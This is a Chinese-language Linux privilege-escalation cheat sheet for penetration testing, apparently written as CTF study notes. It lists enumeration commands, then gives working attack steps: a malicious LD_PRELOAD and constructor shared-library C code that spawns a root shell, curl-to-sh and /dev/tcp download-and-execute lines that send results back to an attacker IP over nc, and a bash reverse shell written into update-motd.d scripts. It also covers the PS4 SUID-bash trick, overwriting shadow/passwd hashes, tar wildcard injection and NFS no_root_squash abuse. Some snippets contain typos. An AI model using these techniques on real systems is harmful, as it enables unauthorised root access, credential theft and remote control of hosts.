linux枚举
-
who/w:当前登录系统的所有用户
-
last:系统最近的登录记录
-
hostname/hostnamectl:返回linux主机名
-
uname -a:打印系统信息
-
/proc/version:提供目标系统的进程信息
-
/etc/issue:查看操作系统信息
-
ps:
-
-A/-ef:查看正在运行的进程
-
axjf:查看进程树(f:全列表输出)(j:进程树)
-
aux:显示进程、用户、未附加到终端的进程
-
-
ps显示内容
-
PID:进程 ID(对进程唯一)
-
TTY:用户使用的终端类型
-
TIME:进程使用的 CPU 时间量(这不是此进程的运行时间)
-
CMD:正在运行的命令或可执行文件(不会显示任何命令行参数)
-
-
env:环境变量
-
sudo -l:允许用户使用root权限允许的命令,可以列出当前用户可运行的所有命令
-
getcap -r / 2>/dev/null:cap权限体系
-
history:历史操作
-
ID:提供用户权限和组成员权限的一般概述
-
/etc/passwd:返回所有用户
-
/etc/crontab:计划任务
-
/etc/fstab:查看有无未挂载的磁盘
-
/etc/shadow:用户密码hash
-
/etc/exports:查看是否可利用nfs
-
/etc/update-motd.d:查看motd目录是否有全局脚本
-
/home/user/.ssh:查询ssh相关信息
-
netstat:
-
-a:显示 所有侦听端口和已建立的连接。
-
-at/-au:显示 所有侦听端口和已建立的tcp/udp连接
-
-l:列表 端口处于 “侦听” 模式。
-
-s:按协议列出网络使用统计信息(-u/-t)
-
-tp:列出连接以及服务名称和 PID 信息(-ltp)
-
-i:显示接口统计信息
-
-ano:
-
-a:显示所有sockets
-
-n:不处理名字
-
-o:显示计时器
-
-
-
find:find [目录节点] [选项]
-
type f 2>/dev/null:错误重定向
-
find . -name flag1.txt: 查找当前目录flag1.txt文件 find /home -name flag1.txt: 查找/home目录flag1.txt文件 find / -type f -perm 0777: 查找具有 777 权限的文件 (所有用户都可以读取、可写和执行文件) find / -perm a=x: 查找可执行文件 find /home -user frank: 在 “/home”查找属于frank的文件 find / -mtime 10: 查找最近 10天 个中修改的文件 find / -atime 10: 查找最近 10天 个中访问的文件 find / -cmin -60: 查找过去一小时内更改的文件 (60 分钟) find / -amin -60: 查找过去一小时内的文件访问 (60 分钟) find / -size 50M: 查找大小为 50 MB 的文件 文件夹: find / -type d -name config: 在 “/” 下找到名为 config 的目录 查找可写文件夹: find / -writable -type d 2>/dev/null find / -perm -222 -type d 2>/dev/null find / -perm -o w -type d 2>/dev/null 查找全局可执行文件文件夹: find / -perm -o x -type d 2>/dev/null 查找开发工具和支持的语言: find / -name perl* find / -name python* find / -name gcc* 查找特定文件权限:(用于查找具有 SUID 位的文件,SUID 位允许文件以拥有它的帐户的权限级别运行,而不是以运行它的帐户的权限级别运行。) find / -perm -u=s -type f 2>/dev/null
-
ip addr:查看网卡信息
-
ip route:查看路由信息
-
ip neigh:查看网络邻居
-
arp -a:查看局域网的mac与ip的绑定关系
-
which:查询可执行文件
-
awk、python、perl、vi、gcc、ftp 2>/dev/null
-
linux自动化枚举工具
-
LinPeas: https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
-
LES (Linux Exploit Suggester): https://github.com/mzet-/linux-exploit-suggester
-
Linux Smart Enumeration: https://github.com/diego-treitos/linux-smart-enumeration
-
Linux Priv Checker: https://github.com/linted/linuxprivchecker
脚本上传:
curl -L linpeas.sh | sh -L:追踪重定向 注:linpeas支持加密
文件服务器(上传执行1):部署在攻击机器
攻击机: 1.cd linpeas.sh所在目录 2.sudo python3 -m http.server 80 靶机: 1.curl [linpeas.sh的url] | sh | nc [attack_ip] [attack_port]
shell执行(上传执行2):
攻击机: 1.sudo nc -lvnp 80 < linpeas.sh 靶机: cat < /dev/tcp/attack_ip/attack_port | sh
目标机器输出结果返回攻击机器:为了输出结果不存放在靶机上
攻击机器: 1.部署文件服务器:sudo python3 -m http.server 80 2.监听返回结果:sudo nc -lvnp 81 | tee linpeas.txt 3.阅读返回结果:less -r linpeas.txt 目标机器: 1.curl [linpeas.sh的url] | sh | nc [attack_ip] [attack_port]
内核漏洞提权
-
如果对系统有不可逆的修改,直接放弃
-
工具:Google、Exploit-db 、searchsploit
Sudo提权
某些用户针对某些软件可能需要root权限,系统管理员允许该用户针对此软件拥有root权限,通过sudo -l查看用户具有root权限相关的情况
工具:GTFOBins ,提供了所有如何使用sudo权限的程序信息
LD_PRELOAD提权
LD_PRELOAD是一个环境变量用于在程序加载时优先加载LD_PRELOAD共享库,用于覆盖特定函数。环境变量env_keep里的内容是全局环境变量,不会随着用户的切换而消失。这就意味着 sudo 在执行被授权的命令时保留 LD_PRELOAD 环境变量。
利用流程:
-
检测是否有env_keep += LD_PRELOAD
-
编写恶意代码,并编译为共享库(.so)
#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); } 编译:gcc -fPIC -shared -o shell.so shell.c -nostartfiles
-
使用运行可授予sudo权限的程序,并指定共享库为刚才的恶意共享库(例如find为可授予用户sudo权限的程序)
sudo LD_PRELOAD=“恶意共享库绝对路径” find
Suid 提权
思路:
-
strings查看是否有sh脚本,已知脚本利用
-
strace查看文件与内核交互,是否引入共享库,共享库是否可拦截
-
运行查看信息
查找具有suid位的文件: find / -perm -u=s -type f 2>/dev/null
-
exim具有s位
-
直接search exploit获取脚本运行就能提权
-
-
共享库拦截
-
strace 可执行文件,发现它会加载共享库
-
我们劫持这个库即可,这要求我们需要写代码编译同名的库文件
-
使用
__attribute__((constructor))
声明的函数会在库加载时自动执行
-
#include <stdio.h> #include <stdlib.h> static void inject() __attribute__((aconstructor)); void inject() { setgid(0); setuid(0); system("/bin/bash -p"); }
编译: gcc -shared -fPIC -o libcalc.so libcalc.c
-
环境变量的可执行文件拦截,如:service start apache
-
编译service.o到本地目录
-
将本地目录添加到$PATH第一个位置
-
-
使用函数拦截绝对路径的可执行文件,如:user/bin/service start apache(bash < 4.2-048)
-
定义函数:function user/bin/service { /bin/bash -p }
-
导出函数:export -f /usr/bin/service
-
-
(bash < 4.4)
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' [你的suid文件路径] 解析: -i:清除环境变量 SHELLOPTS=xtrace:在执行s位文件之前,将PS4作为前缀打印出来 PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)':PS4被认定为脚本,脚本执行后打印
shadow&password提权
思路:
-
是否可写
-
是否能破解
案例:
-
hash识别:
-
hash-identifier
-
hash-identifier ''
-
hash破解:
-
john破解(自动识别加密类型)
-
john --wordlist= hash
-
可写shadow提权:
-
mkpasswd
-
将密文粘贴到shadow文件的root密码hash位置
-
mkpasswd -m [encrypt_method] [password]
-
可写passwd提权:
-
openssv
-
openss passwd [password]
-
替代passwd中root密码部分
计划任务提权
思路:
-
查看是否可写
-
查看内置脚本,已知脚本利用
-
path路径拦截
案例:
-
查看/etc/crontab文件
-
可写脚本添加shell
-
如果计划任务脚本可修改,直接修改即可
-
-
path路径拦截
-
计划任务中如果没有使用绝对路径,那么会搜索path以找到计划任务脚本,而path通过顺序搜索获取脚本,那么我们在正确的path路径的前面的路径添加一个同名的脚本,计划任务就会优先搜索到新添加的脚本
-
-
tar通配符*提权(已知脚本利用)
-
首先脚本中使用到了*,当脚本运行时自动将这个符号替换为当前目录的所有文件名。例如:文件名如果是tar的options的话,tar不讲它当作文件,而是当作options来执行
-
如果脚本使用tar -cxf * 归档了某个目录所有文件和文件夹,我们在这个目录添加这两个空文件,他们会被解析成options,文件名如下:
-
'--checkpoint=1'
-
'--check-action-action=exec=shell.elf'
-
-
此种情况为,root权限执行tar中的敏感options
-
已知脚本利用
已知的脚本利用会发生在不同的流程中,如:
-
计划任务高权限下运行的脚本
-
具有s位(suid)的脚本
然而,基本上所有suid的利用都是已知脚本利用,此类利用很杂,需要网上搜索,或记忆常见案例,例如:
-
共享库伪造(共享库不存在,我们进行伪造)
-
可执行文件拦截(没有使用绝对路径或相对路径,使用了环境变量)
-
tar通配符提权
敏感信息收集提权
此内容有很大的实战意义,常见敏感信息存储方式:
-
history
-
cat ~/.*history | les:查询history文件
-
密码密钥配置文件(此内容看重经验,和搜索,如使用关键词搜索配置文件路径)
-
auth
-
info
-
-
ssh密钥提权
-
查看服务器是否有ssh私钥
-
NFS提权
信息收集:
cat /etc/exports /etc/exports文件通常用于配置NFS(Network File System)共享目录的权限和设置。这个文件定义了哪些目录可以被其他主机挂载,以及允许哪些主机访问这些目录。 格式:<共享目录> <允许访问的主机>(选项) 选项: ro:只读权限,允许客户端只读访问共享目录。 rw:读写权限,允许客户端读取和写入共享目录。 sync:同步写入,写操作需要等待数据写入磁盘后才返回成功。 async:异步写入,写操作立即返回,数据会延迟写入磁盘。 no_root_squash:禁止将远程root用户映射为匿名用户。 root_squash:将远程root用户映射为匿名用户。 all_squash:将所有远程用户映射为匿名用户。 subtree_check:强制NFS服务器检查父目录的导出权限。 no_subtree_check:不检查父目录的导出权限。速度快但不安全。
nfs服务写入恶意文件,执行提权
kali端: 以root身份运行: 1.创建挂载文件夹:mkdir /tmp/nfs 2.进行挂载:mount -o rw,vers=3 [ip]:/tmp /tmp/nfs 3.在/tmp/nfs目录下生成恶意代码 目标机器: 1.运行/tmp/shell.elf
update-motd.d目录脚本提权
update-motd.d脚本用于生成每次用户登录时显示的动态消息(Message of the Day,简称 MOTD),所有用户登录时都会调用update-motd.d脚本。
信息收集:
cd /etc/update-motd.d bash -c "bash -i >& /dev/tcp/[ip]/[port] 0>&1"
update-motd.d是linux中的全局脚本,写入恶意代码,进行执行
私钥破解(此内容偏向打点)
推荐我的文章,已理解ssh相关安全问题的细节:
SSH私钥通常是通过PRNG生成的。通过下载密钥对库,然后将公钥对生成的密钥对进行比对,因为公钥是公开的,没有立足点也可以获取,所以通常用来打点,而不是提权(看是否是root的公钥)
场景:获取到机器上的公钥
信息枚举(已打点):
cd /home/[user]/.ssh/authorized_keys 如果已经打点的话[user]可以:cat /etc/passwd
信息收集(未打点):
sudo perl 2017.pl [ip] [port] /home/[user]/.ssh/authorized_keys 0 如果未打点的话[user]可以使用批量化脚本实现暴力枚举
脚本利用:
searchsploit prng # 下载密钥对库 # 进入指定密钥对库的目录 sudo grep -lr "公钥的一部分"
ssh登录:
ssh -i [指定私钥的路径] [user]:[ip]